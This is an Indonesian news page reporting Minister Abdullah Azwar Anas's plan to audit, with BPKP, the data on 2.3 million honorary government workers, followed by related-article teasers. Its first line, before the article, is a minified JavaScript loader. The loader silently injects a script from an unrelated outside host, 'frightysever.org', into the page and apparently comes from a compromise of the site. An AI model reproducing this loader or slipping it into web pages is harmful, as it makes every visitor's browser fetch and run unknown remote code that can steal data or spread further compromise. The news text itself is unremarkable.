(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (PAN RB) Abdullah Azwar Anas berjanji segera melakukan audit data tenaga honorer atau non ASN (Aparatur Sipil Negara). Audit tersebut dilakukan melalui kerja sama dengan Badan Pengawas Keuangan dan Pembangunan (BPKP).
“Kita akan bekerja sama dengan BPKP untuk mengaudit data tenaga honorer atau non ASN yang dikirim ke pemerintah. Harapan kami, ke depan bisa terverifikasi lebih detail,” kata Anas di Jakarta, Kamis (20/7/2023) siang, dikutip dari Beritasatu.com -mitra jejaring Kanalkalimantan.com.
Menurut Anas, jumlah tenaga honorer saat ini membengkak menjadi 2,3 juta orang. Hal itu terjadi sejak keluarnya Peraturan Pemerintah (PP) tahun 2018 yang melarang adanya pengangkatan pegawai non ASN di lingkungan pemerintahan.
Baca juga: Marak Promosi Judi Online di Live Streaming Esports, Kominfo Ancam Hukum Influencer
“Tahun 2018 kan tinggal 400.000 orang. Setelah itu tidak boleh lagi ada rekrutmen tetapi ternyata setelah didata, jumlahnya menjadi 2,4 sekian juta. Setelah kita minta surat pertanggungjawaban mutlak dari instansi yang mengirimkan, data turun jadi 2,3 juta orang,” jelas Anas.
Kendati demikian, data 2,3 juta tenaga honorer tersebut masih diragukan kebenarannya. Sebab, data tersebut masih menggunakan data sampel.
Baca juga: 40 ASN Pemkab Banjar Jalani PKA Angkatan III Pola Fasilitasi
“Kemarin kami minta bantuan BPKP untuk melakukan verifikasi. Ternyata ada beberapa data yang memang masih meragukan. Jadi diaudit seluruh data supaya menciptakan rasa keadilan,” imbuhnya.
Menteri PAN RB berharap, pemerintah daerah dan instansi juga dapat melakukan verifikasi ulang data dengan sebenar-benarnya.
“Kami sangat berharap, pemda dan instansi untuk melakukan verifikasi ulang data. Nanti dicek berapa tahun sebenarnya anggaran yang dicairkan pemerintah. Nanti akan kelihatan dengan mereka yang baru dimasukkan. Sekali lagi, ini untuk keadilan bagi teman-teman yang telah lama mengabdi untuk mendapatkan afirmasi,” tandas Anas. (kanalkalimantan.com/beritasatu.com/kk)
Reporter: beritasatu
Editor: kk
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More
This website uses cookies.